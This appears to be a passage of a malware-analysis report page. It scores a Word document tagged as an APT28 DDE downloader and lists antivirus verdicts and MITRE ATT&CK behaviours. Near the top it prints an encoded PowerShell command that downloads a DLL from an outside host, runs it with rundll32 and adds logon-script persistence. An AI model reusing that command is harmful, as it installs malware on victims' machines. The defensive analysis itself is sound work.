aUUrOS855PsrILPPkImQ+ZvfhAvgKA1KJGfnEwk8LAjRZMnhFMXqVBEs34hYolyYsDyRX9+LywF8fze3FU3hMyv2304u+5M8sDpCgaeDKeLpBwMjDPduov22g2l58vFpbYEkhsJBkmpcPGSs7ehoYtXgyaJPO+cS8O5jiXB0gurJdK6hJCpWVihlaa56BpsNTshBtICYo+nvxYfg9P/q+8bhzJ7cIAmfcavOjWe7Evy7UCgII6bsKNZnwkgcs8LRkGTVmPDXapz1q7lJgdtBGWmko+YJJS9xg83LxT50VcxuzyAEn5dXx8TNM+yZDGyEhihuOTNFIkVmad7W6pRya83HiIlZvUP+5BH6XuIeMunQcdWg/Uox7Eps8tD3BRXst7GZQ+0FdmqA2ZejEaSDscSMyNA73u1XvojdpDb9QeepOWzG9pPIhJc68MgJW1tUOH6htjKG7QIueqli4hI87QbRbU6UozEsotOF42gX+X2PDPYjsOF03SrE/RuDn4iT+Q7cJe6vs7GXOIofTRqSsAuJBXg7hPzuLl3Yf4W+zPN+3BT196i3/w/6VvxF/h/wUEhERwDDVFQQAAAABJRU5ErkJggg==48:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABmZmZmZmZmZmZmZgAAAAAAaId3d3d3d4iIiIdgAAAHdmhmZmZmZmZmZmZoZAAAB2ZnZmZmZmZmZmZmZ3YAAAdmZ3ZmiHZniIiHZmaGAAAHZmd2Zv/4eIiIiGZmhgAAB2ZmdmZ4/4eIh3ZmZnYAAAd2ZnZmZo//h2ZmZmZ3YAAHZmaGZmZo//h2ZmZmd2AAB3Zmd2ZmZnj/h2ZmZmhgAAd3dndmZmZuj/+GZmZoYAAHd3dod3dmZuj/9mZmZ2AACHd3aHd3eIiP/4ZmZmd2AAiHd2iIiIiI//iId2ZndgAIiIhoiIiIj//4iIiIiIYACIiId4iIiP//iIiIiIiGAAiIiIaIiI//+IiIiIiIhkAIiIiGiIiP/4iIiIiIiIdgCIiIhoiIj/iIiIiIiIiIYAiIiIeIiIiIiIiIiIiIiGAAiIiIaP///////////4hgAAAAAGZmZmZmZmZmZmZmYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD////////////////gAAAf4AAAD+AAAAfgAAAHAAAABwAAAAcAAAAHAAAAAwAAAAMAAAADAAAAAwAAAAMAAAABAAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAP4AAAH//////////////////////////w==49:T7f5,-enc JABXAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAHAAPQAoACQARQBuAHYAOgBBAEwATABVAFMARQBSAFMAUABSAE8ARgBJAEwARQArACIAXABtAHYAZAByAHQALgBkAGwAbAAiACkAOwANAAoAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAkAHQAcgB1AGUAfQA7AA0ACgAkAFcALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBzAGUAbgBkAG0AZQB2AGkAZABlAG8ALgBvAHIAZwAvAGQAaAAyADAAMgA1AGUALwBlAGgALgBkAGwAbAAiACwAJABwACkAOwANAAoAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAcAApAHsADQAKACQAcgBkAF8AcAA9ACQARQBuAHYAOgBTAFkAUwBUAEUATQBSAE8ATwBUACsAIgBcAFMAeQBzAHQAZQBtADMAMgBcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwANAAoAJABwAF8AYQA9ACQAcAArACIALAAjADEAIgA7AA0ACgAkAHAAcgA9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAHIAZABfAHAAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJABwAF8AYQA7AA0ACgAkAHAAXwBiAGEAdAA9ACgAJABFAG4AdgA6AEEATABMAFUAUwBFAFIAUwBQAFIATwBGAEkATABFACsAIgBcAG0AdgBkAHIAdAAuAGIAYQB0ACIAKQA7AA0ACgAkAHQAZQB4AHQAPQAnAHMAZQB0ACAAaQBuAHMAdABfAHAAYwBrACAAPQAgACIAJQBBAEwATABVAFMARQBSAFMAUABSAE8ARgBJAEwARQAlAFwAbQB2AGQAcgB0AC4AZABsAGwAIgAnACsAIgBgAHIAYABuACIAKwAnAGkAZgAgAE4ATwBUACAAZQB4AGkAcwB0ACAAJQBpAG4AcwB0AF8AcABjAGsAIAAlACAAKABlAHgAaQB0ACkAJwArACIAYAByAGAAbgAiACsAJwBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIALgBlAHgAZQAgACUAaQBuAHMAdABfAHAAYwBrACAAJQAsACMAMQAnAA0ACgBbAGkAbwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAFQAZQB4AHQAKAAkAHAAXwBiAGEAdAAsACQAdABlAHgAdAApAA0ACgBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAnACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsADsADQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAnACAALQBOAGEAbQBlACAAJwBVAHMAZQByAEkAbgBpAHQATQBwAHIATABvAGcAbwBuAFMAYwByAGkAcAB0ACcAIAAtAFYAYQBsAHUAZQAgACIAJABwAF8AYgBhAHQAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA0ACgB9AA==4a:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABmZmZmZmZmZmZmZgAAAAAAaId3d3d3d4iIiIdgAAAHdmhmZmZmZmZmZmZoZAAAB2ZnZmZmZmZmZmZmZ3YAAAdmZ3ZmiHZniIiHZmaGAAAHZmd2Zv/4eIiIiGZmhgAAB2ZmdmZ4/4eIh3ZmZnYAAAd2ZnZmZo//h2ZmZmZ3YAAHZmaGZmZo//h2ZmZmd2AAB3Zmd2ZmZnj/h2ZmZmhgAAd3dndmZmZuj/+GZmZoYAAHd3dod3dmZuj/9mZmZ2AACHd3aHd3eIiP/4ZmZmd2AAiHd2iIiIiI//iId2ZndgAIiIhoiIiIj//4iIiIiIYACIiId4iIiP//iIiIiIiGAAiIiIaIiI//+IiIiIiIhkAIiIiGiIiP/4iIiIiIiIdgCIiIhoiIj/iIiIiIiIiIYAiIiIeIiIiIiIiIiIiIiGAAiIiIaP///////////4hgAAAAAGZmZmZmZmZmZmZmYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD////////////////gAAAf4AAAD+AAAAfgAAAHAAAABwAAAAcAAAAHAAAAAwAAAAMAAAADAAAAAwAAAAMAAAABAAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAP4AAAH//////////////////////////w==4b:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAIiIiIh3d3d3d3d3gAAAAACIiIiIiIiIiIiIiIAAAAAAj//4iIiIiIiIiIiAAAAAAI///4iIiIiIiIiIgAAAAACP///4iIiIiIiIiIAAAAAAj/////iIiIiIiIiAAAAAAI//////iIiIiIiIgAAAAACP//////iIiIiIiIAAAAAAj///////+IiIiIiAAAAAAI/////////4iIiIgAAAAACP////////+IiIiIAAAAAAj//////////4iIiAAAAAAI////////////iIgAAAAACP////////////iIAAAAAAj/////////////iAAAAAAI/////////////4gAAAAACP////////////+IAAAAAAj/////////////iAAAAAAI/////////////4gAAAAACP////////////+IAAAAAAj/////////////iAAAAAAI/////////////4gAAAAACP////////////+IAAAAAAj///////////iIiAQAAAAI//////////+OZmdEAAAAD///////////iO52RAAAAA///////////4jnZEYAAAAP//////////+IdkZAAAAAD///////////iERkAAAAAAiIiIiIiIiIiIgAAAAADwAAAD8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAD8AAAA/AAAAfwAAAP8AAB/w==1a:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$22"}}],["$","$L23",null,{"initialData":{"schema_version":"1.0.15","sha256":"759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790277737420,"unified_at":"2026-09-24T19:22:17.420Z","metadata":{"hashes":{"sha256":"759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6","sha1":"68c2809560c7623d2307d8797691abf3eafe319a","md5":"34dc9a69f33ba93e631cd5048d9f2624","sha512":"3efd2f9a0b8f26920616ff7efa2af5a9f8ecb27369cd50e58e0ba71735545ef3147f016603297531835d50feec19ed42ec7f251623da97746421ddc335d882c9","ssdeep":"Unknown","imphash":"Unknown"},"file_info":{"file_name":"759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.docx","file_type":["docx","office"],"file_type_id":"docx","file_size":51046,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1509628701000,"last_seen":1750110053000,"last_multi_scan":1750110053000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["downrage","fancybear","targeted","apt","apt28","dde","exploit","group74","xagent","group-4127","sofacy","strontium","pawnstorm","irontwilight","swallowtail","tg-4127","tag_0700","tsarteam","sednit","downloader"]},"stats":{"av":{"malicious_count":11,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":63},"sandbox_signatures":{"informative_count":161,"suspicious_count":26,"malicious_count":11,"total":198},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"WM/Ddeauto","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Downloader]/MSOffice.apt28","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"W2000M/Agent.IV","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.12528877","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"msoffice/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.12528877 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/Generic!D9AEB128F3DF5900","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"W97M/MacroLess.q","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/DocDl-LHL","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.DOC.Dropper.MX","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","identifiers":[{"type":"informative","value":"Creates/edits LNK file (Windows shortcut)"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Writes registry keys"},{"type":"suspicious","value":"Writes registry keys"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Uses powershell with an encoded commandline"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains CRYPTO related strings"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"suspicious","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Defense Evasion","technique":"Double File Extension","attack_id":"T1036.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/007","identifiers":[{"type":"informative","value":"Drops a file with double extension"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Opens a handle to the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Contains ability to retrieve list of files and subdirectories"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Tries to open documents files"},{"type":"suspicious","value":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Attempts to call internet-related API for network communication"},{"type":"informative","value":"Calls an API used to connect to internet"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Command and Control","technique":"Ingress Tool 